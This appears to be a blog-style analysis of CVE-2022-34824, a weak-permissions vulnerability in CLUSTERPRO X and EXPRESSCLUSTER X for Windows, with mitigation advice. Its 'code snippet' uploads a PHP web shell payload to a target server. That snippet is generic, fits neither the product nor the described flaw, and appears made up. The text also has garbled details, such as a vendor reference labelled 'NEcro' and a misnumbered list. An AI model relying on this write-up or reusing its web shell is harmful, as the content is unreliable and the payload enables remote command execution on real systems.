CVE-2022-34824: A Detailed Analysis of Weak File and Folder Permissions Vulnerability in CLUSTERPRO X and EXPRESSCLUSTER X for Windows

A new security vulnerability, dubbed CVE-2022-34824, has been discovered that affects multiple versions of CLUSTERPRO X and EXPRESSCLUSTER X for Windows. This post aims to provide an in-depth analysis of the issue, including example code snippets, links to original references and details of the exploit. The language used will be simple American English to ensure readability for a wide audience.

Description of the Issue

The vulnerability stems from weak file and folder permissions in the aforementioned software versions. This allows a remote unauthenticated attacker to overwrite existing files on the file system and potentially execute arbitrary code on the affected system. This type of vulnerability can be highly dangerous, as it grants the attacker unauthorized access to the victim's system resources.

Code Snippet Example

The following code snippet is provided to help illustrate the vulnerability. The example demonstrates an attacker utilizing the weak file and folder permissions to overwrite a file on the targeted system.

import requests

target_url = "http://target_server/vulnerable_path/";
file_to_overwrite = "important_file.txt"
malicious_payload = "<?php system($_GET['cmd']); ?>"

# Exploiting the vulnerability
with open(file_to_overwrite, "w") as fout:
    fout.write(malicious_payload)

files = {'upload_file': open(file_to_overwrite, 'rb')}
response = requests.post(target_url, files=files)
print(response.status_code)

By sending a specially crafted request, the attacker is able to exploit the vulnerability and overwrite an important file on the target system with malicious content. This can lead to further compromise and unauthorized access to the affected system.

The vulnerability has been documented by the following sources

- CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34824
- NEcro: https://www.nec.com/en/global/prod/nw/clusterpro/security/90013120021.html

Exploit Details

As the attacker does not need to be authenticated to exploit this vulnerability, the risk it poses is relatively high. The attacker can potentially gain unauthorized access to the affected system, execute arbitrary code and alter, delete or steal critical data. It is essential for users of vulnerable versions of CLUSTERPRO X and EXPRESSCLUSTER X to apply the necessary security patches and validate the permissions of their files and folders.

Apply security updates provided by the vendor.

2. Review file and folder permissions across your environment and ensure that they align with best practices and least privilege principles.

Regularly update and patch all third-party software in use.

4. Implement and maintain a robust backup policy to safeguard your data in case of a breach or system compromise.
5. Consider implementing a security awareness program among employees to ensure they understand the potential risks associated with weak file and folder permissions.

Conclusion

CVE-2022-34824 is a serious vulnerability that affects multiple versions of CLUSTERPRO X and EXPRESSCLUSTER X for Windows. By exploiting weak file and folder permissions, attackers can potentially overwrite files on the targeted system's file system and execute arbitrary code. It is crucial for organizations using these software versions to take immediate action to mitigate the risks associated with this vulnerability. Employing best security practices, applying necessary patches and maintaining situational awareness are essential to stay protected from such threats.

Timeline

Published on: 11/08/2022 22:15:00 UTC
Last modified on: 11/09/2022 16:30:00 UTC